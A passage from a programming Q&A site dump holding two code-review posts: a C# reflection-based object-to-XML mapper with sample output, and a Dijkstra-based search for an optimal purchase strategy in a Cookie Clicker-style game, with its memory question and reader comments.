[XmlMapper(ParentNodeName = "Applicant", MappingOperation = XmlMappingOperation.NODE)]
public class Applicant
{
[Name("name")]
public string FirstName { get; set; }
[Name("surname")]
public string LastName { get; set; }
}
[XmlMapper(ParentNodeName = "ApplicationNode",
MappingOperation = XmlMappingOperation.NODE,
IgnoreNulls = true)]
public class Application
{
public int ApplicationID { get; set; }
[XmlPropertyConverter(typeof(DateTimeConverter))]
[Name("date")]
public DateTime CreateDate { get; set; }
public string Name { get; set; }
public object AnotherNull { get; set; }
}
[XmlMapper(ParentNodeName = "Loan",
MappingOperation = XmlMappingOperation.NODE,
IgnoreNulls = false)]
public class Loan
{
[Ignore]
public string ProductCode { get; set; }
[Name("name")]
public string Name { get; set; }
[Name("amount")]
public int Amount { get; set; }
[Name("joint")]
[XmlPropertyConverter(typeof(BooleanConverter))]
public bool IsJointAccount { get; set; }
[Name("applicant")]
public Applicant Applicant { get; set; }
public Application Application { get; set; }
[Name("CustomList")]
[XmlList(NodeName = "ListingItem")]
public List<string> Listing { get; set; }
public object Null { get; set; }
}
[XmlMapper(ParentNodeName = "CustomLoan",
MappingOperation = XmlMappingOperation.ATTRIBUTE,
IgnoreNulls = true,
Formatting = System.Xml.Linq.SaveOptions.None)]
public class CustomLoan : Loan
{
public string CustomFieldA { get; set; }
public string CustomFieldB { get; set; }
[XmlFlattenHierarchy]
public UnMarked FlattenThisProperty { get; set; }
public Dictionary<string, UnMarked> Dictionary { get; set; }
public LinkedList<Applicant> JointApplicants { get; set; }
}
static void Main(string[] args)
{
List<CustomLoan> loans = new List<CustomLoan>();
for (int i = 0; i < 1000; i++)
{
loans.Add(new CustomLoan()
{
Name = "Revolving Loan",
Amount = 25000,
IsJointAccount = true,
ProductCode = "RLP",
Applicant = new Applicant()
{
FirstName = "George",
LastName = "Bush"
},
Application = new Application()
{
ApplicationID = 1,
CreateDate = new DateTime(2018, 5, 22),
Name = "New Application"
},
Listing = new List<string>() { "string", "another", "text" },
CustomFieldA = "Custom Data For Client Here",
CustomFieldB = "Custom Other Data For Client Here",
Dictionary = new Dictionary<string, UnMarked>()
{
{ "KeyA", new UnMarked(){ UnmarkedFieldA = 20, UnmarkedFieldB = 3.14564 } },
{ "KeyB", new UnMarked(){ UnmarkedFieldA = 77, UnmarkedFieldB = 16.981357 } },
{ "KeyC", new UnMarked(){ UnmarkedFieldA = 86486, UnmarkedFieldB = -1.1384 } }
},
JointApplicants = new LinkedList<Applicant>(new List<Applicant>
{
new Applicant() { FirstName = "Jemma", LastName = "Busher" },
new Applicant() { FirstName = "Harrison", LastName = "Bushmaster" }
})
});
}
var xmlMapper = new XmlMapper<CustomLoan>();
string values = "";
Stopwatch watch = Stopwatch.StartNew();
foreach (CustomLoan loan in loans)
values = xmlMapper.MapToXmlString(loan);
watch.Stop();
Console.WriteLine(watch.ElapsedMilliseconds);
Console.WriteLine(values);
XmlDocument xml = new XmlDocument();
xml.LoadXml(values);
CustomLoan mappedBackObject = xmlMapper.MapToObject(xml);
//Console.WriteLine("Serialization");
//Console.WriteLine(ToXML(loans[0]));
Console.ReadKey();
return;
}
</code></pre>
<p>Output</p>
<pre><code><CustomLoan CustomFieldA="Custom Data For Client Here" CustomFieldB="Custom Other Data For Client Here" name="Revolving Loan" amount="25000" joint="Y">
<Dictionary>
<KeyA UnmarkedFieldA="20" UnmarkedFieldB="3.14564" />
<KeyB UnmarkedFieldA="77" UnmarkedFieldB="16.981357" />
<KeyC UnmarkedFieldA="86486" UnmarkedFieldB="-1.1384" />
</Dictionary>
<JointApplicants>
<Applicant>
<name>Jemma</name>
<surname>Busher</surname>
</Applicant>
<Applicant>
<name>Harrison</name>
<surname>Bushmaster</surname>
</Applicant>
</JointApplicants>
<applicant>
<name>George</name>
<surname>Bush</surname>
</applicant>
<Application>
<ApplicationID>1</ApplicationID>
<date>2018-05-22 00:00:00</date>
<Name>New Application</Name>
</Application>
<CustomList>
<ListingItem>string</ListingItem>
<ListingItem>another</ListingItem>
<ListingItem>text</ListingItem>
</CustomList>
</CustomLoan>
</code></pre>
<p>I did a basic performance check and was averaging ~140ms to map 1000 objects of this complexity.</p>
<p>I am having issues simplifying some of the conditions in the ToObject and ToXml methods. I think I can wrap some of these into private methods to simplify things, but I find the logic difficult to follow at times. </p>
<p>You may have noticed that I am not doing any error checking (or checking that the attributes are compatible with the types in question) - I am validating all of this when constructing the MetaDataCache, where I throw exceptions on startup if attributes are improperly configured. However there are probably some spots I should be error checking but I missed.</p>
<p>Any tips on how to simplify the mapping code would be much appreciated.</p>
<pre><code>public class XmlMapper<T> where T : new()
{
private const string XPATH_ROOT_NODE_EXPRESSION = "(/*)";
private Type type = typeof(T);
// this is a hacky way of asking the XmlMapperAttribute what are it's default values in the case that the class does not have this attribute on it
private XmlMapperAttribute xmlMapperAttribute = new XmlMapperAttribute();
public XmlMapper()
{
if (MetaDataCache.Contains<T>())
{
ClassMetaData metaData = MetaDataCache.Get<T>();
if (metaData.ClassAttributeContext.ContainsAttribute<XmlMapperAttribute>())
xmlMapperAttribute = metaData.ClassAttributeContext.GetAttribute<XmlMapperAttribute>();
}
}
public T MapToObject(XmlDocument xml)
{
T instance = new T();
instance = (T)ToObject(instance, xml.SelectSingleNode(XPATH_ROOT_NODE_EXPRESSION));
return instance;
}
public string MapToXmlString(T instance)
{
return ToXmlWrapper(type, instance).ToString(xmlMapperAttribute.Formatting);
}
public XmlDocument MapToXmlDocument(T instance)
{
return ToXmlWrapper(type, instance).ToXmlDocument();
}
private object ToObject(object instance, XmlNode xmlNode, string nodeName = null)
{
System.Type type = instance.GetType();
ClassMetaData classMetaData = MetaDataCache.Get(type);
XmlMappingOperation xmlMappingOperation = xmlMapperAttribute.MappingOperation;
if (classMetaData.ClassAttributeContext.ContainsAttribute<XmlMapperAttribute>())
{
XmlMapperAttribute xmlMapper = classMetaData.ClassAttributeContext.GetAttribute<XmlMapperAttribute>();
xmlMappingOperation = xmlMapper.MappingOperation;
if (nodeName == null)
{
nodeName = xmlMapper.ParentNodeName;
xmlNode = xmlNode.SelectSingleNode($"//{nodeName}");
}
}
foreach (PropertyInfo property in classMetaData.Properties)
{
string propertyName = property.Name;
System.Type propertyType = property.PropertyType;
if (classMetaData.HasPropertyAttributeContext<PropertyAttributeContext>(property))
{
PropertyAttributeContext propertyAttributeContext = classMetaData.GetAttributeContextForProperty<PropertyAttributeContext>(property);
if (propertyAttributeContext.HasIgnoreAttribute)
continue;
propertyName = propertyAttributeContext.HasNameAttribute ? propertyAttributeContext.NameAttribute.Name : propertyName;
}
object propertyValue;
if (xmlMappingOperation.Equals(XmlMappingOperation.NODE))
{
XmlNode propertyNode = xmlNode.SelectSingleNode($"//{nodeName}/{propertyName}");
propertyValue = propertyNode?.InnerText;
}
else // ATTRIBUTE
{
XmlNode propertyNode = xmlNode.SelectSingleNode($"//{nodeName}");
propertyValue = propertyNode.Attributes[propertyName]?.Value;
}
if (classMetaData.HasPropertyAttributeContext<XmlPropertyAttributeContext>(property))
{
XmlPropertyAttributeContext xmlPropertyAttributeContext = classMetaData.GetAttributeContextForProperty<XmlPropertyAttributeContext>(property);
if (xmlPropertyAttributeContext.HasXmlListAttribute)
{
XmlListAttribute xmlList = xmlPropertyAttributeContext.XmlListAttribute;
XmlNodeList results = xmlNode.SelectNodes($"//{nodeName}/{propertyName}/{xmlList.NodeName}");
if (results.Count > 0)
{
object childInstance = CollectionXmlNodeListToObject(results, propertyType);
property.SetValue(instance, childInstance);
}
continue;
}
else if (xmlPropertyAttributeContext.HasXmlDictionaryAttribute)
{
XmlDictionaryAttribute xmlList = xmlPropertyAttributeContext.XmlDictionaryAttribute;
XmlNodeList results = xmlNode.SelectNodes($"//{nodeName}/{propertyName}/*");
if (results.Count > 0)
{
object childInstance = DictionaryXmlNodeListToObject(results, propertyType);
property.SetValue(instance, childInstance);
}
continue;
}
else if (xmlPropertyAttributeContext.HasXmlFlattenHierarchyAttribute)
{
object childInstance = Activator.CreateInstance(propertyType);
XmlNode results = xmlNode.SelectSingleNode($"//{nodeName}/{propertyName}");
if (results != null)
{
childInstance = ToObject(childInstance, results, propertyName);
property.SetValue(instance, childInstance);
}
continue;
}
else if (xmlPropertyAttributeContext.HasXmlPropertyConverterAttribute && propertyValue != null)
{
XmlPropertyConverterAttribute converter = xmlPropertyAttributeContext.XmlPropertyConverterAttribute;
try
{
propertyValue = converter.ConvertToSourceType(propertyValue);
}
catch (Exception ex)
{
throw new XmlPropertyConverterException("XmlPropertyConverter threw an exception", ex);
}
}
}
else
{
if (propertyType.IsDictionary())
{
XmlNodeList results = xmlNode.SelectNodes($"//{nodeName}/{propertyName}/*");
if (results.Count > 0)
{
object childInstance = DictionaryXmlNodeListToObject(results, propertyType);
property.SetValue(instance, childInstance);
}
continue;
}
else if (propertyType.IsCollection())
{
string listItemNodeName = propertyType.GenericTypeArguments[0].Name;
XmlNodeList results = xmlNode.SelectNodes($"//{nodeName}/{propertyName}/{listItemNodeName}");
if (results.Count > 0)
{
object childInstance = CollectionXmlNodeListToObject(results, propertyType);
property.SetValue(instance, childInstance);
}
continue;
}
if (propertyType.IsClass && MetaDataCache.Contains(propertyType))
{
// TODO: Dont think this will work
object childInstance = Activator.CreateInstance(propertyType);
XmlNode results = xmlNode.SelectSingleNode($"//{nodeName}/{propertyName}");
if (results != null)
{
childInstance = ToObject(childInstance, results, propertyName);
property.SetValue(instance, childInstance);
}
continue;
}
}
property.SetValue(instance, UniversalTypeConverter.Convert(propertyValue, propertyType));
}
return instance;
}
private object CollectionXmlNodeListToObject(XmlNodeList nodeList, Type collectionType)
{
object collection = CreateInstanceOfType(collectionType);
Type containedType = collectionType.GetTypeInfo().GenericTypeArguments[0];
Type iCollectionType = typeof(ICollection<>).MakeGenericType(containedType);
foreach (XmlNode node in nodeList)
{
object value = CreateInstanceOfType(containedType);
if (containedType.IsClass && MetaDataCache.Contains(containedType))
value = ToObject(value, node, node.Name);
else
value = node.InnerText;
iCollectionType.GetMethod("Add").Invoke(collection, new[] { value });
}
return collection;
}
private object DictionaryXmlNodeListToObject(XmlNodeList nodeList, System.Type dictionaryType)
{
object dictionary = Activator.CreateInstance(dictionaryType);
Type keyType = dictionaryType.GetTypeInfo().GenericTypeArguments[0];
Type valueType = dictionaryType.GetTypeInfo().GenericTypeArguments[1];
foreach (XmlNode node in nodeList)
{
object key = node.Name; // will be replaced with dictionary mapper later
object value = CreateInstanceOfType(valueType);
if (valueType.IsClass && MetaDataCache.Contains(valueType))
value = ToObject(value, node, node.Name);
else
value = node.InnerText;
dictionaryType.GetMethod("Add").Invoke(dictionary, new[] { node.Name, value });
}
return dictionary;
}
private object CreateInstanceOfType(Type type)
{
if (!type.HasDefaultConstructor())
return null;
else
return Activator.CreateInstance(type);
}
private XDocument ToXmlWrapper(Type type, T instance)
{
XElement rootElement = ToXml(instance, type);
XDocument xDocument = new XDocument();
xDocument.Add(rootElement);
// will throw exception if fails to construct XmlDocument
if (xmlMapperAttribute.Validate)
xDocument.ToXmlDocument();
return xDocument;
}
private XElement ToXml(object instance, Type type, XElement element = null, string nodeName = null)
{
ClassMetaData classMetaData = MetaDataCache.Get(type);
XmlMappingOperation xmlMappingOperation = xmlMapperAttribute.MappingOperation;
bool ignoreNulls = xmlMapperAttribute.IgnoreNulls;
if (classMetaData.ClassAttributeContext.ContainsAttribute<XmlMapperAttribute>())
{
XmlMapperAttribute xmlMapper = classMetaData.ClassAttributeContext.GetAttribute<XmlMapperAttribute>();
xmlMappingOperation = xmlMapper.MappingOperation;
ignoreNulls = xmlMapper.IgnoreNulls;
if (element == null)
{
element = new XElement(xmlMapper.ParentNodeName);
nodeName = xmlMapper.ParentNodeName;
}
}
//element.Name = nodeName;
foreach (PropertyInfo property in classMetaData.Properties)
{
string propertyName = property.Name;
object propertyValue = property.GetValue(instance);
System.Type propertyType = property.PropertyType;
if (propertyValue == null && ignoreNulls)
continue;
if (classMetaData.HasPropertyAttributeContext<PropertyAttributeContext>(property))
{
PropertyAttributeContext propertyAttributeContext = classMetaData.GetAttributeContextForProperty<PropertyAttributeContext>(property);
if (propertyAttributeContext.HasIgnoreAttribute)
continue;
propertyName = propertyAttributeContext.HasNameAttribute ? propertyAttributeContext.NameAttribute.Name : propertyName;
}
if (classMetaData.HasPropertyAttributeContext<XmlPropertyAttributeContext>(property))
{
XmlPropertyAttributeContext xmlPropertyAttributeContext = classMetaData.GetAttributeContextForProperty<XmlPropertyAttributeContext>(property);
if (xmlPropertyAttributeContext.HasXmlPropertyConverterAttribute && propertyValue != null)
{
XmlPropertyConverterAttribute converter = xmlPropertyAttributeContext.XmlPropertyConverterAttribute;
try
{
propertyValue = converter.ConvertToDestinationType(propertyValue);
AddToXElement(element, xmlMappingOperation, propertyName, propertyValue);
continue;
}
catch (Exception ex)
{
throw new XmlPropertyConverterException("XmlPropertyConverter threw an exception", ex);
}
}
else if (xmlPropertyAttributeContext.HasXmlDictionaryAttribute)
{
XmlDictionaryAttribute xmlDictionary = xmlPropertyAttributeContext.XmlDictionaryAttribute;
element.Add(DictionaryToXElement(propertyValue, propertyName));
continue;
}
else if (xmlPropertyAttributeContext.HasXmlListAttribute)
{
XmlListAttribute xmlList = xmlPropertyAttributeContext.XmlListAttribute;
element.Add(CollectionToXElement(propertyValue, propertyName, xmlList.NodeName));
continue;
}
else if (xmlPropertyAttributeContext.HasXmlFlattenHierarchyAttribute)
{
element = ToXml(propertyValue, propertyType, element, propertyName);
continue;
}
}
else
{
if (propertyType.IsDictionary())
{
element.Add(DictionaryToXElement(propertyValue, propertyName));
continue;
}
else if (propertyType.IsCollection())
{
element.Add(CollectionToXElement(propertyValue, propertyName, propertyType.GenericTypeArguments[0].Name));
continue;
}
else if (propertyType.IsClass && MetaDataCache.Contains(propertyType))
{
XElement propertyElement = new XElement(propertyName);
propertyElement = ToXml(propertyValue, propertyType, propertyElement, propertyName);
element.Add(propertyElement);
continue;
}
}
AddToXElement(element, xmlMappingOperation, propertyName, propertyValue);
}
return element;
}
private void AddToXElement(XElement element, XmlMappingOperation xmlMappingOperation, string propertyName, object propertyValue)
{
if (xmlMappingOperation.Equals(XmlMappingOperation.ATTRIBUTE))
element.SetAttributeValue(propertyName, propertyValue);
else if (xmlMappingOperation.Equals(XmlMappingOperation.NODE))
element.Add(new XElement(propertyName, propertyValue));
}
private XElement CollectionToXElement(object collection, string parentNodeName, string childNodeName)
{
XElement propertyElement = new XElement(parentNodeName);
Type containedType = collection.GetType().GenericTypeArguments[0];
foreach (var item in (ICollection)collection)
{
XElement itemElement = new XElement(childNodeName);
if (containedType.IsClass && MetaDataCache.Contains(containedType))
itemElement = ToXml(item, item.GetType(), itemElement, childNodeName);
else
itemElement.SetValue(item);
propertyElement.Add(itemElement);
}
return propertyElement;
}
private XElement DictionaryToXElement(object dictionary, string parentNodeName)
{
XElement propertyElement = new XElement(parentNodeName);
Type keyType = dictionary.GetType().GenericTypeArguments[0];
Type valueType = dictionary.GetType().GenericTypeArguments[1];
foreach (DictionaryEntry kvp in (IDictionary)dictionary)
{
// TODO - this will call converter that converts Dictionary key to XElement
XElement itemElement = new XElement(kvp.Key.ToString());
if (valueType.IsClass && MetaDataCache.Contains(valueType))
itemElement = ToXml(kvp.Value, kvp.Value.GetType(), itemElement, itemElement.Name.LocalName);
else
itemElement.SetValue(kvp.Value);
propertyElement.Add(itemElement);
}
return propertyElement;
}
}
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T04:38:59.330",
"Id": "213010",
"Score": "3",
"Tags": [
"c#",
".net",
"xml",
"reflection",
"framework"
],
"Title": "Generic object-to-XML mapper"
} | 213010 |
<p>Imagine the following situation:</p>
<p>It is the year 20XX. You are a prodigious baker, capable of baking cookies at an astonishing rate of <strong>1 cookie per second</strong>. Your archnemesis, an equally excellent baker, challenges you to a bake-off.</p>
<p>In this bake-off, you will need to bake <strong>1,000 cookies <em>total</em></strong> as fast as you possibly can, but you will be allowed to purchase several items during the event to aid in your baking.</p>
<p>First, you may buy a Foo machine at a cost of <strong>10 cookies</strong>. It will bake <strong>2 cookies per second</strong>. You can permanently double the production rate of all Foo machines with an upgrade which costs <strong>100 cookies</strong>.</p>
<p>Second, you may buy a Bar machine at a cost of <strong>80 cookies</strong>. It will bake <strong>20 cookies per second</strong>. You can permanently double the production rate of all Bar machines with an upgrade which costs <strong>400 cookies</strong>.</p>
<p>Additionally, machines costs up as you buy more of them, the cost being multiplied by <strong>1.15</strong> every time (and rounded up). For example, while the first Bar machine costs 80 cookies, the next will cost 92, the next 106, the next 122, the next 141, and so on.</p>
<p>How can you beat your archnemesis? What is the best strategy to bake one thousand cookies as quickly as possible? Do you buy Foo machines as soon as you can afford them and let the production rate rise? Or do you throw in some Bar machines to avoid the diminishing returns? To solve this, you turn to the ancient art of mathematics.</p>
<hr>
<p>How do we model a situation like this mathematically? From one point in time, there are multiple options, each of which lead to more options... Let's start plotting this out. <code>f</code> for Foo, <code>b</code> for Bar, and <code>F</code> or <code>B</code> for the upgraded Foo and Bar.</p>
<p><img src="https://i.imgur.com/0r7d61U.png" alt="an informal plot of the options"></p>
<p>Now that we can clearly see that we're essentially building a tree structure, we can turn to graph theory to help us get to our target.</p>
<p>As we've just represented each possible state with a vertex, we can represent the time between each state as the edges between the vertices.</p>
<p>For example, if we start with a production rate of 1 cookie per second and a Foo costs 10 cookies, then we can define the edge from <code>start</code> to <code>1f, 0b</code> as having a weight of 10 seconds.</p>
<p>Note that we neglected to draw in an important part of the graph—the target. Because our target cookie count is cumulative, it is always better to buy something than not.</p>
<p><img src="https://i.imgur.com/cbjoEIk.png" alt="a comparison between buying a Foo and doing nothing"></p>
<p>At a rate of 1C/s, accumulating 1000C would take 1000s. Buying one Foo would cost 10C, taking 10s to afford, but would increase the total production rate to 3C/s. The remaining 990C (1000C − 10C) would only take 330s to accumulate.</p>
<p>Every vertex would have an edge to the target because it's always an option to simply wait until the required amount of cookies is accumulated, but—assuming that no option involves time travel—the only time waiting is optimal is when affording every other option would take more time than simply waiting to bake the required amount of cookies.</p>
<p>Given all of these conditions, we can simply use a pathfinding algorithm—namely, <strong><a href="https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm" rel="noreferrer">Dijkstra's Algorithm</a></strong>—to find the shortest route from start to finish.</p>
<hr>
<p>For ease of debugging, each loop in the algorithm will be self-contained. Our entry point essentially boils down to the following:</p>
<pre><code>private const int target_cookies = 1000;
public static async Task MainAsync(string[] args)
{
var graph = new Graph(target_cookies);
while (!graph.Solved)
{
graph.Step();
}
// Display the output here.
await Task.Delay(-1);
}
</code></pre>
<p>The <code>Graph</code> class is constructed as follows:</p>
<pre><code>public Graph(int targetCookies)
{
this.TargetCookies = targetCookies;
this.queue = new FibonacciHeap();
this.target = new Vertex
{
PreviousName = "target"
};
var source = new Vertex
{
MinimumCost = 0
};
source.Node = this.queue.Insert(source, 0);
this.vertices = new Dictionary<State, Vertex>();
}
</code></pre>
<p>First, what's <code>FibonacciHeap</code>? The implementation details are unimportant for this experiment, but a <a href="https://en.wikipedia.org/wiki/Fibonacci_heap" rel="noreferrer">Fibonacci heap</a> is an extremely fast implementation of a priority queue, a type of collection wherein each item has a priority and the highest-priority item can be popped from the collection. the Fibonacci heap is notable for having a <a href="https://en.wikipedia.org/wiki/Computational_complexity_theory" rel="noreferrer">time complexity</a> of <a href="https://en.wikipedia.org/wiki/Big_O_notation" rel="noreferrer">Θ(1)</a>.</p>
<p>In this case, the priority of each vertex in the queue is its tentative cost (<code>Vertex.MinimumCost</code>), where the vertex with the smallest cost is the first to be popped. Use of a priority queue relies on the "no-time-travel" lemma—formally that no edge has a cost that is less than zero.</p>
<p>Next, the source and target are defined. The source is given a tenative cost of 0 (i.e. it takes 0s to get from the starting state to the starting state), while the target is given a name (for output purposes). The source is then added to the queue as a starting point.</p>
<p>Finally, a dictionary of <code>(State, Vertex)</code> is created. Let's come back to that.</p>
<p>For now, let's look at <code>Vertex</code>:</p>
<pre><code>public class Vertex
{
public FibonacciHeapNode Node { get; set; }
public State State { get; set; }
public float MinimumCost { get; set; } = Single.PositiveInfinity;
public Vertex Previous { get; set; }
public string PreviousName { get; set; }
public Vertex(FibonacciHeapNode node = null, State state = default(State))
{
this.Node = node;
this.State = state;
}
}
</code></pre>
<p>Of note:
- The default tentative cost is infinite, such that literally any value is better than infinity when evaluating.
- Each vertex keeps track of its node in the queue. This is so that priorities can be updated when a better <code>MinimumCost</code> is found.
- The name of the path taken to get to each vertex is stored for human readability when a solution is found.</p>
<p>Now, <code>State</code>:</p>
<pre><code>public struct State
{
private const float cost_foo = 10;
private const float cost_bar = 80;
public const int COST_FOO_UPGRADE = 100;
public const int COST_BAR_UPGRADE = 400;
public byte Foos;
public int FooCost => Cost(cost_foo, this.Foos);
public bool FooUpgrade;
public bool FooUpgradeAvailable => !(this.FooUpgrade || this.Foos < 1);
public byte Bars;
public int BarCost => Cost(cost_bar, this.Bars);
public bool BarUpgrade;
public bool BarUpgradeAvailable => !(this.BarUpgrade || this.Bars < 1);
public float ProductionRate
{
get
{
float baseProduction = 1;
float fooProduction = 2 * this.Foos;
float barProduction = 20 * this.Bars;
if (this.FooUpgrade)
{
fooProduction *= 2;
}
if (this.BarUpgrade)
{
barProduction *= 2;
}
return baseProduction + fooProduction + barProduction;
}
}
public int AlreadySpent
{
get
{
int fooCost = Sum(cost_foo, this.Foos);
int barCost = Sum(cost_bar, this.Bars);
int totalCookies = fooCost + barCost;
totalCookies += this.FooUpgrade ? COST_FOO_UPGRADE : 0;
totalCookies += this.BarUpgrade ? COST_BAR_UPGRADE : 0;
return totalCookies;
}
}
private static int Cost(float baseCost, int ownedCount)
=> (int)Math.Ceiling(baseCost * Math.Pow(1.15, ownedCount));
private static int Sum(float baseCost, int count)
{
int sum = 0;
for (int i = 0; i < count; i++)
{
sum += Cost(baseCost, i);
}
return sum;
}
public State(State other)
{
this.Foos = other.Foos;
this.FooUpgrade = other.FooUpgrade;
this.Bars = other.Bars;
this.BarUpgrade = other.BarUpgrade;
}
public override int GetHashCode()
{
unchecked
{
int hash = 17;
hash = (hash * 23) + this.Foos.GetHashCode();
hash = (hash * 23) + this.FooUpgrade.GetHashCode();
hash = (hash * 23) + this.Bars.GetHashCode();
hash = (hash * 23) + this.BarUpgrade.GetHashCode();
return hash;
}
}
public override bool Equals(object obj)
{
return
obj != null &&
obj is State other &&
this.Foos == other.Foos &&
this.FooUpgrade == other.FooUpgrade &&
this.Bars == other.Bars &&
this.BarUpgrade == other.BarUpgrade;
}
public static bool operator ==(State lhs, State rhs)
=> lhs.Equals(rhs);
public static bool operator !=(State lhs, State rhs)
=> !lhs.Equals(rhs);
}
</code></pre>
<p>Beautiful, isn't it? All of that code, while dreadful to look at, just captures the basic information about a state how many Foos are owned, how many Bars are owned, and if each is upgraded. For utility, <code>State</code> also provides the calculation for the current cost of Foo and Bar, the production rate of the state, and the total number of cookies already spent to reach that state.</p>
<p>With that out of the way, everything we need to understand the logic is defined. So, back to <code>Graph</code>:</p>
<pre><code>public void Step()
{
var current = this.queue.Pop();
if (current.Vertex == this.target)
{
this.Solved = true;
return;
}
foreach (Path neighbor in this.GetNeighborsOf(current.Vertex))
{
float alt = current.Vertex.MinimumCost + neighbor.Cost;
if (alt < neighbor.To.MinimumCost)
{
neighbor.To.MinimumCost = alt;
neighbor.To.Previous = current.Vertex;
neighbor.To.PreviousName = neighbor.Name;
if (neighbor.To.Node == null)
{
neighbor.To.Node = this.queue.Insert(neighbor.To, alt);
}
else
{
this.queue.DecreaseCost(neighbor.To.Node, alt);
}
}
}
}
</code></pre>
<p>First, the node with the highest priority is popped from the queue. By definition, this is the vertex with the lowest tentative cost. If the vertex in question is the target, that means that any other option is slower than simply waiting, and thus the solution is found.</p>
<p>Otherwise, the neighbors of the vertex are evaluated and processed. <code>Path</code> is a tiny utility struct:</p>
<pre><code>public struct Path
{
public Vertex To;
public float Cost;
public string Name;
public Path(Vertex to, float distance, string name)
{
this.To = to;
this.Cost = distance;
this.Name = name;
}
}
</code></pre>
<p>The next section of code is the entirety of Dijkstra's Algorithm—simply evaluate each neighbor, see if the cost to the neighbor through the current vertex is less than the stored cost (<code>Single.PositiveInfinity</code> by default) and either update the existing queue node or create it if it doesn't already exist.</p>
<p>And now, we get to the final cursed method: <code>GetNeighborsOf</code>.</p>
<pre><code>public IEnumerable<Path> GetNeighborsOf(Vertex from)
{
State state = from.State;
var possibilities = new List<Possibility>
{
new Possibility("buy foo", state.FooCost, new State(state) { Foos = (byte)(state.Foos + 1) }),
new Possibility("buy bar", state.BarCost, new State(state) { Bars = (byte)(state.Bars + 1) }),
};
if (state.FooUpgradeAvailable)
{
possibilities.Add(new Possibility(
"buy foo upgrade",
State.COST_FOO_UPGRADE,
new State(state) { FooUpgrade = true }));
}
if (state.BarUpgradeAvailable)
{
possibilities.Add(new Possibility(
"buy bar upgrade",
State.COST_BAR_UPGRADE,
new State(state) { BarUpgrade = true }));
}
float production = state.ProductionRate;
foreach (Possibility possibility in possibilities)
{
if (!this.vertices.TryGetValue(possibility.State, out Vertex to))
{
to = new Vertex(null, possibility.State);
this.vertices[possibility.State] = to;
}
yield return new Path(to, possibility.Cost / production, possibility.Name);
}
yield return new Path(this.target, (this.TargetCookies - state.AlreadySpent) / production, "target");
}
</code></pre>
<p>Really worthy of focus here is the last bit, in which the the <code>vertices</code> dictionary created in the constructor is queried. If a <code>State</code> already has a vertex associated with it, then use that; otherwise, create a new vertex to represent the state. As far as I can tell, this is all but necessary. Without it, the "space complexity" for a <code>State</code> with 2 constant parameters would be <code>2<sup>x</sup></code>. With it, it is <code>x + 1</code>. The memory savings increase with the number of parameters in an exponential fashion.</p>
<p>Despite this massive memory save, the <code>Dictionary</code> itself provides an incredible amount of overhead, typically composing well over 75% of the memory allocated for the task. Try as I might, I have been unable to save more than a nominal amount of memory without fundamentally reworking how the dictionary system is used.</p>
<p>In a tiny microcosmic case like this, memory doesn't appear to matter at all. But in a full-scale application of this experiment, <code>State</code> has not 2 constant parameters and 2 dependent parameters, but 5 constant parameters and 12 dependent parameters searching towards 1,000,000 cookies.</p>
<h3>How can I reduce the memory usage of this algorithm?</h3>
<hr>
<ul>
<li>The simplified example given here can be found on <a href="https://github.com/Poyo-SSB/CookieClijkstra/tree/simplified" rel="noreferrer">this branch</a>.</li>
<li>The project with full scope can be found on the <a href="https://github.com/Poyo-SSB/CookieClijkstra/tree/master" rel="noreferrer">master branch</a>.</li>
<li>The original idea to use graph theory to solve this problem was suggested <a href="https://math.stackexchange.com/questions/3065779/how-can-i-mathematically-model-and-analyze-an-incremental-game-like-cookie-click">here</a>.</li>
</ul>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:09:55.800",
"Id": "412016",
"Score": "0",
"body": "_Because our target cookie count is cumulative, it is always better to buy something than not_. I am not so sure. It really depends. If the target is \\$t\\$ cookies, your current production rate is \\$v_0\\$ cookie/sec, you have \\$c_0\\$ cookies, and you may use them to buy a machine to get a \\$v_1\\$ production rate, it only makes sense to buy if \\$\\frac{t}{v_1} < \\frac{t-c}{v_0}\\$. Am I getting something wrong?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:12:09.460",
"Id": "412017",
"Score": "0",
"body": "Ah, that's poor wording on my part—I mean that it's invariably better to buy your next item when you can afford it, rather than waiting any time, not that it's best to buy *any* item as soon as possible."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:26:49.323",
"Id": "412022",
"Score": "0",
"body": "Right. Now we are getting somewhere. As soon as you can afford the machine, test the condition from my comment, and act accordingly. I honestly don't see any room for Dijkstra here."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:30:47.510",
"Id": "412026",
"Score": "0",
"body": "In some scenarios, a seemingly suboptimal one-time purchase leads to an optimal path—for example, the Foo and Bar upgrades which double the total production rate of all Foos and Bars but can only be purchased when at least one Foo/Bar is already owned."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:38:03.920",
"Id": "412028",
"Score": "0",
"body": "Oh. Missed the upgrade part. Couple of side question: I bought two Foos, did an upgrade, then bought another Foo - what is its rate? also, may I upgrade them twice?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:48:42.687",
"Id": "412029",
"Score": "0",
"body": "In this case, upgrades can only be bought once and apply retroactively to previously purchased items for simplicity, so your total production rate is (3 * 20) * 2. However, this digraph model aims to represent any number of different game configurations, wherein you may buy multiple upgrades, or they don't act retroactively, or so on. Your initial heuristic is correct, but [only works in isolated cases](https://math.stackexchange.com/q/478494/) and lacks the foresight to work in complex scenarios like [the one that this question is a facsimile of](https://git.io/fh9dX)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T08:27:11.033",
"Id": "412716",
"Score": "0",
"body": "This is a [tag:programming-challange], isn't it? It isn't anything real..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T08:40:56.393",
"Id": "412718",
"Score": "4",
"body": "@t3chb0t, it is something real but OP has disguised it (or perhaps \"*anonymised it*\" would be more accurate) slightly. See [their earlier question on math.SE](https://math.stackexchange.com/q/3065779/5676) where I think my answer motivated them to write this code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T08:45:04.293",
"Id": "412719",
"Score": "0",
"body": "@PeterTaylor ok, so it's just a game..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-19T18:21:03.737",
"Id": "525884",
"Score": "0",
